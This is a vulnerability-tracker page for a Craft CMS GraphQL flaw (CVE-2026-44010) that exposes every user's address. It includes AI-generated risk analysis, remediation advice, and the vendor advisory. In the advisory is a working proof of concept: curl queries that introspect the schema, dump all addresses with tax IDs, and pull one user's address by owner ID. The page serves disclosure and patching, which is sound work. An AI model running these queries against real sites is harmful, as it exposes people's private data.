Skip to main content

Craft CMS CVE-2026-44010

HIGH
Missing Authorization (CWE-862)
2026-05-06 https://github.com/craftcms/cms GHSA-gj2p-p9m4-c8gw
7.1
CVSS 4.0 · Vendor: https://github.com/craftcms/cms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid GraphQL token
  2. Delivery
    Introspect schema for addresses query
  3. Exploit
    Enumerate AddressInterface PII fields
  4. Execution
    Query all addresses system-wide
  5. Persist
    Extract cross-scope PII (names, addresses, tax IDs)
  6. Impact
    Exfiltrate data for identity theft or physical targeting

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a valid GraphQL API token with read access to at least one user group (PR:L in CVSS terms). The site must be running Craft CMS Pro edition with GraphQL enabled and must have stored address data via the native Addresses field type or element. The GraphQL API endpoint (/actions/graphql/api) must be network-accessible to the attacker. No special non-default configuration is required-this affects standard headless CMS deployments using the addresses query in their GraphQL schema. User interaction is not required. Exploitation is not limited by specific platform, PHP version, or Docker deployment (though PoC was tested on Docker with PHP 8.3). The binary canQueryUsers() gate check-which only verifies that the token can access ANY user group-is the enabling misconfiguration inherent to all vulnerable versions. Limiting factors: attacker must possess a valid API token (not exploitable by unauthenticated remote attackers), and the site must actually store address data (exposure is zero if no addresses exist). However, both prerequisites are met in typical headless CMS deployments serving customer-facing applications.

Impact

This vulnerability poses significant real-world risk to headless CMS deployments despite lack of standard CVSS scoring. Multiple converging risk signals confirm priority remediation: (1) Publicly available exploit code exists via detailed GitHub advisory PoC with working curl commands and Docker setup instructions-this is not theoretical, (2) Vendor classified as moderate-severity and issued patches within security advisory framework, (3) Attack complexity is low-requires only a single valid GraphQL token with read access to any user group (common in headless architecture), no privilege escalation or user interaction needed, (4) Direct PII exposure (home addresses, corporate addresses, tax IDs, GPS coordinates) creates immediate GDPR/CCPA/privacy compliance risk and potential for targeted physical security threats or social engineering, (5) Affects standard deployment pattern for all Craft CMS Pro headless sites (v4.0.0+ with GraphQL enabled)-not an edge case configuration. Mitigating factors: requires valid API token (not unauthenticated), network access to GraphQL endpoint, and site must store addresses. However, these are baseline prerequisites for any headless CMS-the vulnerability breaks the foundational security boundary (user group scoping) that administrators rely on for API access control. The scope boundary failure is particularly severe because it affects a core authorization mechanism, not an isolated feature. EPSS and KEV data not available for this 2026 CVE-assessment based on technical analysis, patch availability confirmation, and published exploit code.

Exploit ScenarioDerived

An attacker obtains a valid GraphQL API token with read access to a single low-privilege user group (publicUsers) via compromised credentials, leaked environment files, or insider access. Using the detailed PoC from the GitHub advisory, they craft a GraphQL introspection query to confirm the addresses endpoint is available, then issue a query for all addresses with PII fields (fullName, addressLine1-3, organization, organizationTaxId, latitude, longitude). The server returns addresses for all users system-wide, including executives, administrators, and other restricted groups the token has no authorization to access. The attacker extracts home addresses of high-value targets (CFO, CISO), corporate headquarters locations, tax IDs for identity theft, and GPS coordinates for physical reconnaissance. They can also use targeted IDOR via ownerId parameter to extract specific users' addresses once user IDs are enumerated from other API endpoints. Publicly available exploit code exists-detailed curl commands and Docker setup instructions in GHSA-gj2p-p9m4-c8gw enable straightforward reproduction.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 06, 2026

Unauthorized PII disclosure in Craft CMS GraphQL API allows cross-scope address enumeration via missing authorization check. A GraphQL API token scoped to any single low-privilege user group can read all addresses system-wide, including PII from restricted user groups (full names, home addresses, corporate addresses, tax IDs, GPS coordinates). The Address element resolver bypasses schema scope filtering that all other element resolvers enforce. Vendor-released patch: versions 5.9.18 and 4.17.12. Publicly available exploit code exists (detailed PoC in GitHub advisory). Affects all Craft CMS Pro deployments (v4.0.0+) using headless GraphQL APIs with user group scoping-a standard deployment pattern for Next.js/Nuxt/Gatsby frontends.

RemediationAI

Upgrade immediately to Craft CMS 4.17.12 (for 4.x branch) or 5.9.18 (for 5.x branch) as documented in vendor advisory at https://github.com/craftcms/cms/security/advisories/GHSA-gj2p-p9m4-c8gw and applied via commit 834b2cf61ad0dcee9b03add44ed402ebf18db128. The patch adds extractAllowedEntitiesFromSchema() scope filtering to the Address resolver, enforcing user group boundaries via SQL EXISTS clause. If immediate patching is not feasible, implement these compensating controls with noted trade-offs: (1) Disable GraphQL addresses query entirely by removing Address element permissions from all GraphQL schemas (Configuration → GraphQL → Schemas → edit each schema → uncheck Addresses under Queries)-this breaks any frontend functionality that legitimately queries addresses but eliminates the exposure surface, or (2) Restrict GraphQL API endpoint access (/actions/graphql/api) to trusted IP ranges via web server ACL (nginx allow/deny directives or Apache Require ip)-reduces attack surface to internal networks but does not prevent insider threats or compromised internal systems, or (3) Rotate all existing GraphQL API tokens and issue new tokens with minimum necessary user group access-limits blast radius but does not fix the underlying authorization bypass. Note that restricting token permissions to fewer user groups does NOT mitigate this vulnerability-an attacker with a token scoped to even one low-privilege group can still extract all addresses. Workarounds are temporary risk reduction only; vendor patch is the complete fix.

Affected Packages

composer craftcms/cms fix: 4.17.12, 5.9.18

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Craft CMS implements a GraphQL API with token-based access control using schema scoping (GqlHelper::extractAllowedEntitiesFromSchema()) to restrict which user groups a token can access. Every element resolver (Entry, User, Asset, Category, Tag) enforces this boundary by filtering queries to only return entities belonging to groups in the token's authorized scope. The Address resolver (src/gql/resolvers/elements/Address.php) contains a critical implementation gap: it only performs a binary canQueryUsers() check that returns true if the token has access to ANY user group, then performs NO subsequent scope filtering. This creates an authorization bypass-once the initial gate check passes, the resolver returns addresses for all users regardless of group membership. The CWE-862 (Missing Authorization) classification correctly identifies this as a fundamental failure to verify whether an operation is allowed, not merely inadequate granularity. The patch adds extractAllowedEntitiesFromSchema() scope filtering with a SQL EXISTS clause joining against the usergroups_users table, enforcing the same boundary that other resolvers implement.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/craftcms/cms) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/craftcms/cms) · only source for this CVE.

CVSS VectorVendor: https://github.com/craftcms/cms

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 12, 2026 - 21:22 NVD
7.1 (HIGH)

DescriptionCVE.org

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to *any* user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

  • Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
  • 5 internal executives with corporate addresses (internalTeam)
  • 3 public customers with personal addresses (publicUsers)
  • GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" />

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" />

> Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude. >

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" />

Only 5 public users returned. Scope enforcement works correctly for the User resolver - internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" />

<img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" />

▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs

> All 10 addresses returned. The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs: > > - Sarah Chen, 4200 Executive Plaza Dr, SF - Horizon Dynamics Inc. (TaxID: 82-4917263) > - James Whitfield, 89 Kensington High St, London - Whitfield Capital Partners LLP (TaxID: GB927461038) > - Maria Rossi, 15 Via della Conciliazione, Roma - Rossi & Bianchi Avvocati (TaxID: IT04829173651) > - David Nakamura, 2-11-3 Meguro, Tokyo - Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835) > - Elena Voronova, 27 Universitätsstrasse, Zurich - Voronova Biotech AG (TaxID: CHE-384.291.057)

---

Step 5: Targeted IDOR - extract a specific internal user’s address by owner ID.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="365" alt="image" src="https://github.com/user-attachments/assets/b7c6d5cf-295a-433a-a76c-2b69815968cd" />

> Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 - SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data.

Impact

Who is Impacted

Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions.

Risk

  • Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups.
  • Targeted extraction via IDOR: The ownerId argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access.
  • Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue.
  • Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case.

AI Disclosure

This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting.

All findings were verified against a local Docker instance of Craft CMS 5.9.17.

Resources

https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128

Executive ViewAI

Why It Matters

Craft CMS Pro versions 4.0.0 through 5.9.17 contain an authorization bypass in the GraphQL API that allows any authenticated user to enumerate and access personally identifiable information (names, addresses, tax IDs, GPS coordinates) across all user groups, regardless of their assigned permissions. This affects all headless CMS deployments using GraphQL with user scoping, creating immediate risk of PII exposure and regulatory compliance violations (GDPR, CCPA).

Business Impact: Severe
Compensating Controls

Vendor-released patch: versions 5.9.18 and 4.17.12. If immediate patching is blocked, restrict GraphQL API access to internal networks only via firewall/WAF rules and revoke all non-essential API tokens until patch deployment is completed.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

56
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)CVE.org

pkg:composer/craftcms_cms
pkg:composer/craftcms_cms

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy